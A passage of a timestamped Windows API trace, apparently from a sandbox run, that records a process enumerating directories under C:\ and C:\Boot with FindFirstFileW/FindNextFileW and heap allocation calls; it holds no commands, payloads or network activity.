hHeap=0x790000) returned 1 [0158.751] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.751] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.751] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f56d8 [0158.757] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.757] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.757] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.757] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.757] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.757] FindClose (in: hFindFile=0x7f56d8 | out: hFindFile=0x7f56d8) returned 1 [0158.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.757] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.757] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.757] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5198 [0158.758] FindNextFileW (in: hFindFile=0x7f5198, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5198, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5198, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5198, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5198, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.758] FindClose (in: hFindFile=0x7f5198 | out: hFindFile=0x7f5198) returned 1 [0158.758] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.758] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.758] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5858 [0158.758] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.758] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.759] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.759] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.759] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.759] FindClose (in: hFindFile=0x7f5858 | out: hFindFile=0x7f5858) returned 1 [0158.759] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.759] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.759] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.759] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5118 [0158.759] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.760] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.760] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.760] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.760] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.760] FindClose (in: hFindFile=0x7f5118 | out: hFindFile=0x7f5118) returned 1 [0158.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.760] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.760] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.760] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5418 [0158.761] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.761] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.761] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.761] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.761] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.761] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.761] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.761] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.761] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.761] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5858 [0158.762] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.762] FindClose (in: hFindFile=0x7f5858 | out: hFindFile=0x7f5858) returned 1 [0158.762] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.762] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.762] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f53d8 [0158.762] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.763] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.763] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.763] FindClose (in: hFindFile=0x7f53d8 | out: hFindFile=0x7f53d8) returned 1 [0158.763] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.763] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.763] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.763] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f57d8 [0158.763] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.763] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.764] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.764] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.764] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.764] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.764] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.764] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.764] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.764] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5858 [0158.765] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5858, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.765] FindClose (in: hFindFile=0x7f5858 | out: hFindFile=0x7f5858) returned 1 [0158.765] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.765] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.765] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5418 [0158.765] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.765] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.766] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.766] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.766] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.766] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5418 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.766] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.767] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.767] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.767] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.767] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f52d8 [0158.767] FindNextFileW (in: hFindFile=0x7f52d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f52d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f52d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f52d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f52d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.767] FindClose (in: hFindFile=0x7f52d8 | out: hFindFile=0x7f52d8) returned 1 [0158.767] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.767] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.767] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.767] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5318 [0158.768] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.768] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.768] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.768] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.768] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.769] FindClose (in: hFindFile=0x7f5318 | out: hFindFile=0x7f5318) returned 1 [0158.769] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.769] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.769] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.769] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f51d8 [0158.770] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.770] FindClose (in: hFindFile=0x7f51d8 | out: hFindFile=0x7f51d8) returned 1 [0158.770] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.770] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.770] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5758 [0158.770] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.771] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.771] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.771] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.771] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.771] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.771] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.771] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5698 [0158.874] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.878] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5698, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.879] FindClose (in: hFindFile=0x7f5698 | out: hFindFile=0x7f5698) returned 1 [0158.881] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.881] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.881] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.881] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.886] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0158.887] FindClose (in: hFindFile=0x7f5818 | out: hFindFile=0x7f5818) returned 1 [0158.889] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x7a97b0, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0158.889] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3b10e08 [0158.889] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x7f53d8 [0158.890] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.891] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.891] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.891] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5118 [0158.891] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.891] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.893] FindClose (in: hFindFile=0x7f5118 | out: hFindFile=0x7f5118) returned 1 [0158.893] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.893] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.893] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.893] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f51d8 [0158.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.903] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.903] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.903] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) 